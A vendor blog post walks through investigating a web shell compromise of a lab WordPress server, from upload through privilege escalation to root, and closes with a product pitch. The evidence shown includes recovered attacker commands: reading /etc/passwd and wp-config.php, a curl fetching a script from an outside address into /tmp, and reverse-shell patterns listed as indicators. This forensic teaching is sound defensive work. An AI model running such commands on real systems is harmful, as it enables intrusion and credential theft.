← All articles
Blog

Web shell investigation: from the first request to root

How to reconstruct a web shell compromise on a Linux server: find the upload, tie it to the commands, follow the privilege escalation, and know where the evidence runs out.

1 December 2026 3 min read

Web shells remain one of the most common ways into internet-facing servers. A vulnerable plugin, an unpatched upload handler or a misconfigured file manager lets an attacker write a script to the web root. From then on, every HTTP request to that script runs commands on the server.

This walkthrough follows one compromise from the first request to root. It is our Halden Freight demo case: a WordPress server, web01, exploited through the File Manager plugin.

1. Find the shell

Start from the file, not the log. Look for script files where they should not be:

  • .php (or .jsp, .aspx) files in upload, cache or plugin files/ directories;
  • files whose names imitate legitimate ones, such as thumb_cache.php;
  • files created recently, compared with the rest of the plugin's files.

In Halden, the file system timeline showed thumb_cache.php written at 02:47:20 inside the plugin's files directory. Nothing else in that directory changed that week.

2. Find the upload

With the file's creation time, go to the web server access log for the seconds before it:

filter event_type == "logs_nginx" && timestamp >= @2026-11-24T02:47:00Z && timestamp <= @2026-11-24T02:47:30Z
sort {timestamp}

The request that wrote it is usually a POST to an upload handler. In Halden, at 02:47:19, a single POST went to the plugin's connector.minimal.php. That pattern is consistent with CVE-2020-25213. The response was 200.

Note what the log cannot tell you. Access logs do not record request bodies, so you can say a POST was made and a file appeared a second later. You cannot show the file's contents from the log.

3. Find the scanning before it

Exploits rarely come out of nowhere. Group earlier requests by client address:

filter event_type == "logs_nginx" && timestamp < @2026-11-24T02:47:19Z
group {remote_addr} (aggregate {requests = count this, first = (earliest timestamp), last = (latest timestamp)})
sort {-requests}

In Halden, the address that sent the exploit POST had made 646 requests in the previous half hour, with a vulnerability scanner's user agent. A different address then used the web shell. The two addresses are probably one actor, but the log does not show it. Write it down as an assessment, not a fact.

4. Tie requests to commands

Each request to the shell runs a command as the web server account. To see the commands, you need process evidence:

  • auditd execve records for the web server user (often UID 33, www-data), with the PHP process as parent;
  • the access log for the shell's requests, whose query strings sometimes carry the command.

In Halden, eight GET requests to thumb_cache.php between 02:47:49 and 02:50:58 lined up with auditd records of www-data running:

id
uname -a
cat /etc/passwd
ls -la /var/www/html/portal
cat ../../../../../wp-config.php
curl -s http://198[.]51[.]100[.]23/l.sh -o /tmp/.l.sh

Watch the clocks. The same command appeared in the web log and in auditd up to 24 seconds apart. Do not shift one to match the other. Cite each from its own source and note the offset.

5. Follow the escalation

Web shells run with the web server's limited rights. The next step is almost always privilege escalation. Look for:

  • reverse shells: bash -i >& /dev/tcp/…, python -c 'import pty; pty.spawn(…)';
  • credential hunting: reads of application configs, .env files and SSH keys;
  • account switching: su and sudo in auth.log.

In Halden, a reverse shell opened at 02:52:31. su deploy succeeded at 02:58:06, nine minutes after wp-config.php was read. sudo bash -i followed at 02:58:37. Root, eleven minutes after the exploit.

6. Then check everything a root attacker can touch

Once an attacker has root, assume persistence and anti-forensics:

  • systemd services, cron, ld.so.preload, extra UID 0 accounts, authorized_keys (see Linux incident response artifacts);
  • edits to the very logs you are reading. In Halden, the attacker later removed their address from the nginx log with sed. The scrubbing command was itself recorded by auditd.

7. Write down where the evidence runs out

A web shell report is stronger for saying what it cannot prove. For Halden:

  • the uploaded file's original contents are unknown, because request bodies are not logged;
  • password reuse from wp-config.php is suggested by timing, not shown;
  • root's shell history has no timestamps, so its later lines cannot be placed in the first hour.

Doing it faster

Each step above is a query and a judgement. Arcsentry puts the web server log, auditd, syslog, shell history and the file system timeline into one schema, so the queries in this article work across all of them. In the Halden demo, the AI investigator ran this whole sequence from one question in about 13 minutes. It cited event IDs and listed the limits above in its own case note.

How we wrote this

Drafted with AI from evidence in our own lab, with Laura Pompeu responsible for the article. The evidence comes from Halden Freight portal breach (Linux), built and investigated in our lab, so every example can be checked against real records.

Photo of Laura Pompeu
Laura Pompeu
Marketing Manager & Cybersecurity Content Strategist, Proven Data

Laura Pompeu is a Marketing Manager and Cybersecurity Content Strategist with 10+ years of experience across journalism, SEO, and digital marketing. She produces expert-level content on ransomware, incident response, and data recovery for technical and business audiences, and has led multinational content teams across global markets.

LinkedIn

See it on your own evidence. Free for 7 days.

Tell us what you want to investigate. A person replies within one business day with the download and a trial licence.

Request a trial